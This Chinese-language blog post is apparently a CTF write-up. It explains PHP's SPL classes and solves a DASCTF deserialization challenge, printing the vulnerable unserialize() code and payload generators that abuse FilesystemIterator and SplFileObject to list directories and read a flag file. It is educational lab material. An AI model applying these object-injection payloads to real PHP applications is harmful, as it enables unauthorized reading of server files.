PHP标准库

PHP 标准库

只能在PHP 5.0 以后使用

简介

SPL是Standard PHP Library(PHP标准库)的缩写,是用来解决典型问题的一组接口与类的集合

SPL包含的内容:

  • 数据结构
  • 基础接口
  • 基础函数
  • 迭代器
  • 异常
  • 其他

官方文档

对于SPL库我们只要比较熟练的掌握,做题时有能够想到,就可以,平时需要多积累。

赛题

MAR DASCTF

题目环境是我在本地搭的,和原来的有点不一样

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new  $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        // 检查 $this->para  $this->check
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            // $this->class = B
            echo new  $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }

}
class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
}
class C{

    function vaild($code){
        // 过滤: ! @ # % ^ & *= ' " : ; ?
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}


if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;

}

这个题看着是个简单的反序列化,但是只依靠题目中的类是不能住出来的,看到大佬的提示才接触到SPL这个东西(还是平时积累太少了)

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class = 'FilesystemIterator';
    public $para = '/var/www/html';
    public $check;

}

$a = new A;
echo serialize($a);

?>

这里使用的是FilesystemIterator (这个也只能列一个文件出来)

比赛的时候我使用的是DirectoryIterator 但是发现只能读一个文件的时候我就放弃了:anger:

这里本地只能读取到index.php 但是和其他师傅的构造方法没有区别。比赛环境已经没有了,所以这里猜测是我的题目环境有点问题

然后可以利用SplFileObject 读取内容

<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class = 'SplFileObject';
    public $para = '/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.txt';
    public $check;

}

$a = new A;
echo serialize($a);

?>

image-20210329001318066image-20210329001318066

本地测试发现这个只能读取第一行代码

所以经过测试我能读到第一个文件的第一行内容。

总结

对于反序列化的题目,我目前知道的考点就是直接利用自己包含的类和一些常见的绕过,或者构造POP链,这里提供了一种新的思路,利用SPL库。需要熟悉SPL库的一些特殊操作。

添加新评论